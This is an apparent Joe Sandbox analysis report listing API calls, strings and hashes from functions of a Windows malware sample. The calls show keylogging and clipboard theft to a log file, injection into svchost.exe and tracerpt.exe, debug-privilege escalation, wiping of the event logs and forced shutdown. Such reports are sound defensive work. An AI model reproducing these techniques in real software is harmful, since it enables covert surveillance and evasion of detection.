OpenClipboard.USER32(00000000), ref: 0377E8E2
GetClipboardData.USER32(0000000D), ref: 0377E8EA
GlobalSize.KERNEL32(00000000), ref: 0377E8FB
GlobalLock.KERNEL32(00000000), ref: 0377E90C
wsprintfW.USER32 ref: 0377E985
_memset.LIBCMT ref: 0377E9A3
GlobalUnlock.KERNEL32(00000000), ref: 0377E9AC
CloseClipboard.USER32 ref: 0377E9B2
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0377E9CA
CreateFileW.KERNEL32(037A0D80,40000000,00000002,00000000,00000004,00000002,00000000), ref: 0377E9E4
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0377EA02
lstrlenW.KERNEL32(03795B48,?,00000000), ref: 0377EA16
WriteFile.KERNEL32(00000000,03795B48,00000000), ref: 0377EA25
CloseHandle.KERNEL32(00000000), ref: 0377EA2C
ReleaseMutex.KERNEL32(00000000), ref: 0377EA38
GetKeyState.USER32(00000014), ref: 0377EABC
lstrlenW.KERNEL32(0379B4A8), ref: 0377EB0B
wsprintfW.USER32 ref: 0377EB1D
lstrlenW.KERNEL32(0379B4D0), ref: 0377EB3E
lstrlenW.KERNEL32(0379B4D0), ref: 0377EB61
wsprintfW.USER32 ref: 0377EB7F
wsprintfW.USER32 ref: 0377EB95
wsprintfW.USER32 ref: 0377EBBF
lstrlenW.KERNEL32(00000000), ref: 0377EC0B
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0377EC21
CreateFileW.KERNEL32(037A0D80,40000000,00000002,00000000,00000004,00000002,00000000), ref: 0377EC3B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0377EC59
lstrlenW.KERNEL32(00000000,?,00000000), ref: 0377EC69
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0377EC74
CloseHandle.KERNEL32(00000000), ref: 0377EC7B
ReleaseMutex.KERNEL32(00000000), ref: 0377EC88

Strings

%s%s, xrefs: 0377EB8F
%s%s, xrefs: 0377EBB9
[, xrefs: 0377E97F
[esc], xrefs: 0377EB4E, 0377EB77, 0377EB8D, 0377EBB7
%s%s, xrefs: 0377EB17, 0377EB79

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Filelstrlen$wsprintf$ClipboardCloseGlobal$CountCreateHandleMutexObjectPointerReleaseSingleTickWaitWrite_memset$DataExchangeInterlockedLockOpenSizeSleepStateUnlock
String ID: [$%s%s$%s%s$%s%s$[esc]
API String ID: 1637302245-2373594894
Opcode ID: 341111de63c16d434c326c2262a06c17f1562f266178c1e7a74a57cea80fcab9
Instruction ID: c1b32abe8670ab48197f0d915d42891ed3cc00832f1dc7c989d48fd35295ffdb
Opcode Fuzzy Hash: 341111de63c16d434c326c2262a06c17f1562f266178c1e7a74a57cea80fcab9
Instruction Fuzzy Hash: 71C1F374640704EFEB20EF24DC89FAA7BB4FB48700F048A9AE25AC61D5D7789585CF61

Function 037777E0 Relevance: 68.5, APIs: 30, Strings: 9, Instructions: 240libraryloaderinjectionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03777804
_memset.LIBCMT ref: 03777850
GetSystemDirectoryA.KERNEL32(?,000000FF), ref: 03777864

Part of subcall function 03778720: _vswprintf_s.LIBCMT ref: 03778731

GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 03777893
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000214,00000000,00000000,00000044,?), ref: 037778DA

Part of subcall function 03777740: GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,?,037778FC), ref: 03777756
Part of subcall function 03777740: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,037778FC,?,?,?,?,?,?,74DF0630), ref: 0377775D

OpenProcess.KERNEL32(001FFFFF,00000000,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 0377790A
_memset.LIBCMT ref: 03777923
LoadLibraryA.KERNEL32(Kernel32.dll,OpenProcess,?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 0377793B
GetProcAddress.KERNEL32(00000000), ref: 03777944
LoadLibraryA.KERNEL32(Kernel32.dll,ExitProcess,?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 03777956
GetProcAddress.KERNEL32(00000000), ref: 03777959
LoadLibraryA.KERNEL32(Kernel32.dll,WinExec,?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 0377796B
GetProcAddress.KERNEL32(00000000), ref: 0377796E
LoadLibraryA.KERNEL32(Kernel32.dll,WaitForSingleObject,?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 03777980
GetProcAddress.KERNEL32(00000000), ref: 03777983
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 0377798B
GetProcessId.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,74DF0630,?,74DF0F00), ref: 03777992
_memset.LIBCMT ref: 037779B4
GetModuleFileNameA.KERNEL32(00000000,?,000000FA,?,?,?,?,?,?,?,?,?,?,?,?,74DF0630), ref: 037779CA
VirtualAllocEx.KERNEL32(00000000,00000000,00000118,00003000,00000040), ref: 037779FF
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000118,00000000), ref: 03777A1B
VirtualProtectEx.KERNEL32(00000000,00000000,00000118,00000001,?), ref: 03777A43
VirtualAllocEx.KERNEL32(00000000,00000000,00001000,00003000,00000040), ref: 03777A58
WriteProcessMemory.KERNEL32(00000000,00000000,037776F0,00001000,00000000), ref: 03777A72
VirtualProtectEx.KERNEL32(00000000,00000000,00001000,00000001,00000000), ref: 03777A90
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000), ref: 03777AA1
Sleep.KERNEL32(0000EA60,?,?,?,?,?,?,?,?,?,?,?,?,?,?,74DF0630), ref: 03777ABA
VirtualProtectEx.KERNEL32(00000000,00000000,00000118,00000040,00000000), ref: 03777AD6
VirtualProtectEx.KERNEL32(00000000,00000000,00001000,00000040,00000000), ref: 03777AE8
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,74DF0630), ref: 03777AF1

Strings

OpenProcess, xrefs: 03777931
WinExec, xrefs: 0377795B
ExitProcess, xrefs: 03777946
%s%s, xrefs: 03777876, 037778AA
Kernel32.dll, xrefs: 03777936, 0377794B, 03777960, 03777975
Windows\SysWOW64\svchost.exe, xrefs: 03777870
Windows\System32\svchost.exe, xrefs: 037778A4
D, xrefs: 03777840
WaitForSingleObject, xrefs: 03777970

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Process$Virtual$AddressLibraryLoadProcProtect_memset$AllocCreateCurrentFileMemoryOpenThreadWrite$AttributesDirectoryModuleNameRemoteResumeSleepSystemToken_vswprintf_s
String ID: %s%s$D$ExitProcess$Kernel32.dll$OpenProcess$WaitForSingleObject$WinExec$Windows\SysWOW64\svchost.exe$Windows\System32\svchost.exe
API String ID: 4176418925-3213446972
Opcode ID: 4756b0fe8681ed3a50a72abed34e295318cae03e67ac277a0055c913cc5cb14a
Instruction ID: e111df92c22b43e5ff0c68603d07c408e2f786eb1367564d4cca560c9ede4468
Opcode Fuzzy Hash: 4756b0fe8681ed3a50a72abed34e295318cae03e67ac277a0055c913cc5cb14a
Instruction Fuzzy Hash: 2681E8B1A8031C7BEB21EB65DC49FEF777CEF85B00F004599F208A6181DAB49A45CB64

Function 02C65820 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 135threadinjectionprocessCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02C65849
_memset.LIBCMT ref: 02C65868
_memset.LIBCMT ref: 02C6589D
GetSystemDirectoryA.KERNEL32(?,000000FF), ref: 02C658B1

Part of subcall function 02C659E0: _vswprintf_s.LIBCMT ref: 02C659F1

GetFileAttributesA.KERNEL32(?), ref: 02C658E0
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 02C65928
VirtualAllocEx.KERNEL32(?,00000000,000311BF,00003000,00000040,74DF0630), ref: 02C6594E
WriteProcessMemory.KERNEL32(?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,74DF0630), ref: 02C65968
GetThreadContext.KERNEL32(?,?,?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,74DF0630), ref: 02C65987
SetThreadContext.KERNEL32(?,00010007,?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,74DF0630), ref: 02C659A2
ResumeThread.KERNEL32(?,?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,74DF0630), ref: 02C659C1

Strings

D, xrefs: 02C6587C
%s%s, xrefs: 02C658C3, 02C658F7
Windows\System32\tracerpt.exe, xrefs: 02C658EB
Windows\SysWOW64\tracerpt.exe, xrefs: 02C658BD

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Thread_memset$ContextProcess$AllocAttributesCreateDirectoryFileMemoryResumeSystemVirtualWrite_vswprintf_s
String ID: %s%s$D$Windows\SysWOW64\tracerpt.exe$Windows\System32\tracerpt.exe
API String ID: 2170139861-1986163084
Opcode ID: d8fec2186ea0cd2f9fa27c1a1123dfa36a08ffbab6ba22837b3f81e096cbd59c
Instruction ID: 0a5408ece8d19b486b318abe55fb7c41acfa4da5fa6fa183c3b8c1efb9465b06
Opcode Fuzzy Hash: d8fec2186ea0cd2f9fa27c1a1123dfa36a08ffbab6ba22837b3f81e096cbd59c
Instruction Fuzzy Hash: C44148B0A40308ABE724DF70DC85FBA77B8AF54744F50459DB64DA7180DBB49A84CF94

Function 03777E50 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 131threadinjectionprocessCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03777E73
_memset.LIBCMT ref: 03777E9F
_memset.LIBCMT ref: 03777ED4
GetSystemDirectoryA.KERNEL32(?,000000FF), ref: 03777EE8

Part of subcall function 03778720: _vswprintf_s.LIBCMT ref: 03778731

GetFileAttributesA.KERNEL32(?), ref: 03777F15
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 03777F65
VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 03777F92
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00003000,00000040), ref: 03777FAA
GetThreadContext.KERNEL32(?,?,?,00000000,?,00003000,00000040), ref: 03777FCC
SetThreadContext.KERNEL32(?,00010007,?,00000000,?,00003000,00000040), ref: 03777FEA
ResumeThread.KERNEL32(?,?,00000000,?,00003000,00000040), ref: 03777FFF

Strings

D, xrefs: 03777EB3
%s%s, xrefs: 03777EFA, 03777F2C
Windows\SysWOW64\svchost.exe, xrefs: 03777EEE
Windows\System32\svchost.exe, xrefs: 03777F26

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Thread_memset$ContextProcess$AllocAttributesCreateDirectoryFileMemoryResumeSystemVirtualWrite_vswprintf_s
String ID: %s%s$D$Windows\SysWOW64\svchost.exe$Windows\System32\svchost.exe
API String ID: 2170139861-2473635271
Opcode ID: 345d524ca02219e4fb13b8db78d2737525f609733b25cb1ba2fbba2d9bb40dc6
Instruction ID: 9c1a96a455a2b724898cfd8b623b2c038cf25ec79fc42b11cf00b67c3cfbed12
Opcode Fuzzy Hash: 345d524ca02219e4fb13b8db78d2737525f609733b25cb1ba2fbba2d9bb40dc6
Instruction Fuzzy Hash: A241C8B5A4035CBBDB24EB64DC85FEE77BCAB44B00F0082D9E20DA6181DAB45B85CF54

Function 0377E4F0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 143synchronizationfilekeyboardCOMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,037A0D80,74DEE010,74DF2FA0,74DF0F00,?,03776028,?,?), ref: 0377E519
lstrcatW.KERNEL32(037A0D80,\DisplaySessionContainers.log,?,03776028,?,?), ref: 0377E529
CreateMutexW.KERNEL32(00000000,00000000,037A0D80,?,03776028,?,?), ref: 0377E538
WaitForSingleObject.KERNEL32(00000000,000000FF,?,03776028,?,?), ref: 0377E546
CreateFileW.KERNEL32(037A0D80,40000000,00000002,00000000,00000004,00000080,00000000,?,03776028,?,?), ref: 0377E563
GetFileSize.KERNEL32(00000000,00000000,?,03776028,?,?), ref: 0377E56E
CloseHandle.KERNEL32(00000000,?,03776028,?,?), ref: 0377E577
DeleteFileW.KERNEL32(037A0D80,?,03776028,?,?), ref: 0377E58A
ReleaseMutex.KERNEL32(00000000,?,03776028,?,?), ref: 0377E597
DirectInput8Create.DINPUT8(?,00000800,03794934,037A1220,00000000,?,03776028,?,?), ref: 0377E5B2
GetTickCount.KERNEL32 ref: 0377E665
GetKeyState.USER32(00000014), ref: 0377E672

Strings

\DisplaySessionContainers.log, xrefs: 0377E51F
<, xrefs: 0377E637

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CreateFile$Mutex$CloseCountDeleteDirectFolderHandleInput8ObjectPathReleaseSingleSizeStateTickWaitlstrcat
String ID: <$\DisplaySessionContainers.log
API String ID: 1095970075-1170057892
Opcode ID: 5ce9b3654d909e51b552e2f7bd71ad82c8793d322eaf8e52790d3112acca264e
Instruction ID: 3f927e952daef7dd5de9b4cf7cc536a48caf00b02467c7fd54ae37b52e724882
Opcode Fuzzy Hash: 5ce9b3654d909e51b552e2f7bd71ad82c8793d322eaf8e52790d3112acca264e
Instruction Fuzzy Hash: 9441C375740309BFEB10EFA8EC45F9E3BA4AB88700F508689F615DB2C5D675E402CB94

Function 03777620 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000020,?,?,?,?,?,?,?,?,0377DFA4), ref: 03777637
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,0377DFA4), ref: 0377763E
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 0377765A
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 03777677
CloseHandle.KERNEL32(?), ref: 03777681
GetModuleHandleA.KERNEL32(NtDll.dll,NtSetInformationProcess,?,?,?,?,?,?,?,0377DFA4), ref: 03777691
GetProcAddress.KERNEL32(00000000), ref: 03777698
GetCurrentProcessId.KERNEL32 ref: 037776BA
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 037776C7

Strings

NtDll.dll, xrefs: 0377768C
SeDebugPrivilege, xrefs: 0377764C
NtSetInformationProcess, xrefs: 03777687

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Process$CurrentHandleOpenToken$AddressAdjustCloseLookupModulePrivilegePrivilegesProcValue
String ID: NtDll.dll$NtSetInformationProcess$SeDebugPrivilege
API String ID: 1802016953-1577477132
Opcode ID: 4b4bb1237e60a10bca0351e7d25e5ced5cdbd4902059446ba4c4cc91eff7e106
Instruction ID: 359546ba681c32bcd4b26e712feeb7a3bd952dcd645f0023c230d99c9ac163fb
Opcode Fuzzy Hash: 4b4bb1237e60a10bca0351e7d25e5ced5cdbd4902059446ba4c4cc91eff7e106
Instruction Fuzzy Hash: 37216371A4030CBFEB10FBE4DC0AFBE7778EB08710F01460AF605AA185DAB45545CBA5

Function 0378054D Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 92memorylibraryloaderCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03780576
GetSystemInfo.KERNEL32(?), ref: 0378058E
GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0378059E
GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 037805AE
VirtualAlloc.KERNEL32(?,-00000001,00001000,00000004), ref: 03780600
VirtualProtect.KERNEL32(?,-00000001,00000104,?), ref: 03780615

Strings

kernel32.dll, xrefs: 03780597
SetThreadStackGuarantee, xrefs: 037805A8

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Virtual$AddressAllocHandleInfoModuleProcProtectQuerySystem
String ID: SetThreadStackGuarantee$kernel32.dll
API String ID: 3290314748-423161677
Opcode ID: 51867ca4102c3d9f119be2e074e1acebeb604a48ca6bdb4a1f8113825cbdf448
Instruction ID: 33dcca44b2fad796877d3cdb32248f9b7fb130341e85e820d3ce04d93ea1402d
Opcode Fuzzy Hash: 51867ca4102c3d9f119be2e074e1acebeb604a48ca6bdb4a1f8113825cbdf448
Instruction Fuzzy Hash: 9731C372E8121DBBDB10FFA4DC84AEEB7B8EF44755F144516E511E7040DB74AA08CBA1

Function 03777B70 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 03777B89
OpenProcessToken.ADVAPI32(00000000), ref: 03777B90
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 03777BB6
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 03777BCC
GetLastError.KERNEL32 ref: 03777BD2
CloseHandle.KERNEL32(?), ref: 03777BE0
CloseHandle.KERNEL32(?), ref: 03777BFB

Strings

SeShutdownPrivilege, xrefs: 03777BA2

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3435690185-3733053543
Opcode ID: 0b3c67100f572e17496aac71cc753b22a56e6a4fe387c3c2e3844ba6022065a7
Instruction ID: 869fc932c71bf55be07a073d24a188f96173105bd556e08dd6abe68d0276c049
Opcode Fuzzy Hash: 0b3c67100f572e17496aac71cc753b22a56e6a4fe387c3c2e3844ba6022065a7
Instruction Fuzzy Hash: 27117B71B4021CABDB14FFB4DC49FAE7778EB08700F41865AF9059B185DA759905CBA0

Function 0377B3C0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 26COMMON

Download Yara Rule

APIs

OpenEventLogW.ADVAPI32(00000000,037958BC), ref: 0377B3E7
ClearEventLogW.ADVAPI32(00000000,00000000), ref: 0377B3F2
CloseEventLog.ADVAPI32(00000000), ref: 0377B3F9

Strings

System, xrefs: 0377B3D6
Security, xrefs: 0377B3CE
Application, xrefs: 0377B3C6

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Event$ClearCloseOpen
String ID: Application$Security$System
API String ID: 1391105993-2169399579
Opcode ID: 4b12d649ba2b6c6ab3904564bba8ec59c2186fa5daf85e05a392715f97b43ebe
Instruction ID: 3179c9bdd96509358329e5cc585b51c42fc4a1683edf369eabcf5e7027a2e131
Opcode Fuzzy Hash: 4b12d649ba2b6c6ab3904564bba8ec59c2186fa5daf85e05a392715f97b43ebe
Instruction Fuzzy Hash: 74E0E53260622C5BE612EB09B848B1EF3E0FBCD315F05475BE94856104C63084469B95

Function 035F660F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 035F66A0
swprintf.LIBCMT ref: 035F66F8
swprintf.LIBCMT ref: 035F670B

Strings

@, xrefs: 035F66AC
:, xrefs: 035F663F

Memory Dump Source

Source File: 00000004.00000002.4158929233.00000000035F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 035F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35f0000_UNK_.jbxd

Similarity

API ID: swprintf$_memset
String ID: :$@
API String ID: 1292703666-1367939426
Opcode ID: 3ce09b44c703f379a6cffab786f078c12705430181853880a2577985a84515e9
Instruction ID: 191227b890a4e21afe0a0be3101a489193a5a09cd9d6cd54614a6fa69d25d319
Opcode Fuzzy Hash: 3ce09b44c703f379a6cffab786f078c12705430181853880a2577985a84515e9
Instruction Fuzzy Hash: FC3152B6D4021CABDB14DFE5DC85FEEB7B9FB88300F50421DEA0AA7241E6745905CB94

Function 03777740 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,?,037778FC), ref: 03777756
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,037778FC,?,?,?,?,?,?,74DF0630), ref: 0377775D
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 03777785
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 037777B9

Strings

SeDebugPrivilege, xrefs: 0377777E

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 2349140579-2896544425
Opcode ID: 6477baa8e0fcb087a007d2a8ee19d49934a37f530f875f4bae4aa175567bd3b6
Instruction ID: 43331c9968169ec201a4a77b3f0a45aa4064ec3f7a57c500db358aec11f6d17b
Opcode Fuzzy Hash: 6477baa8e0fcb087a007d2a8ee19d49934a37f530f875f4bae4aa175567bd3b6
Instruction Fuzzy Hash: F4116571A4020CABDF04EFE5DD4ABFEB7B4EB08704F108659E505AB280DA759505CBA0

Function 0377F00A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0378131C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 03781331
UnhandledExceptionFilter.KERNEL32(037925B8), ref: 0378133C
GetCurrentProcess.KERNEL32(C0000409), ref: 03781358
TerminateProcess.KERNEL32(00000000), ref: 0378135F

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: eb7c6e97952e4882324e4b918941a4d0e93abeabce8073ead3df35bd67e6caf2
Instruction ID: 462aef5f7a76643c8ca0dda76d22e9ad18ad01880cd1d24a737e25e1b4282d5d
Opcode Fuzzy Hash: eb7c6e97952e4882324e4b918941a4d0e93abeabce8073ead3df35bd67e6caf2
Instruction Fuzzy Hash: 3F21D2B9544208EFD740FF28F5486483BE4BB0A302F50D65BE908D7389EB789992CF55

Function 02C66815 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 02C6793D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 02C67952
UnhandledExceptionFilter.KERNEL32(02C75350), ref: 02C6795D
GetCurrentProcess.KERNEL32(C0000409), ref: 02C67979
TerminateProcess.KERNEL32(00000000), ref: 02C67980

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 3984b4f2e51b89c5271f630d2d2589b2d5325eb8cf6e481b5424169e2bac8a7c
Instruction ID: c776b6b898303152ee1b4863399ddf7539c4c56bba47b06513546d42f3c6aeca
Opcode Fuzzy Hash: 3984b4f2e51b89c5271f630d2d2589b2d5325eb8cf6e481b5424169e2bac8a7c
Instruction Fuzzy Hash: 6021E0B4C84700EFE701DF69E58976C3BB5FB08385F401A19E90987350EBB659A9CF04

Function 0377B463 Relevance: 1.5, APIs: 1, Instructions: 13shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 03777B70: GetCurrentProcess.KERNEL32(00000028,?), ref: 03777B89
Part of subcall function 03777B70: OpenProcessToken.ADVAPI32(00000000), ref: 03777B90
Part of subcall function 03777B70: LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 03777BB6
Part of subcall function 03777B70: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 03777BCC
Part of subcall function 03777B70: GetLastError.KERNEL32 ref: 03777BD2
Part of subcall function 03777B70: CloseHandle.KERNEL32(?), ref: 03777BE0

ExitWindowsEx.USER32(00000005,00000000), ref: 0377B471

Part of subcall function 03777B70: CloseHandle.KERNEL32(?), ref: 03777BFB

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID:
API String ID: 681424410-0
Opcode ID: 004a03a467c768caecd9357314e5da3b3c737c1f2f64526d00044aa5778ef424
Instruction ID: 51500d0f831ddd6c0b0cb20eab1145330b86eeff14864771f289e20cb6ead66e
Opcode Fuzzy Hash: 004a03a467c768caecd9357314e5da3b3c737c1f2f64526d00044aa5778ef424
Instruction Fuzzy Hash: 20C08C3634024412D618B3B87C2EB7AB340DB88322F00452BE70A8C0D18C56849109E6

Function 0377B43F Relevance: 1.5, APIs: 1, Instructions: 13shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 03777B70: GetCurrentProcess.KERNEL32(00000028,?), ref: 03777B89
Part of subcall function 03777B70: OpenProcessToken.ADVAPI32(00000000), ref: 03777B90
Part of subcall function 03777B70: LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 03777BB6
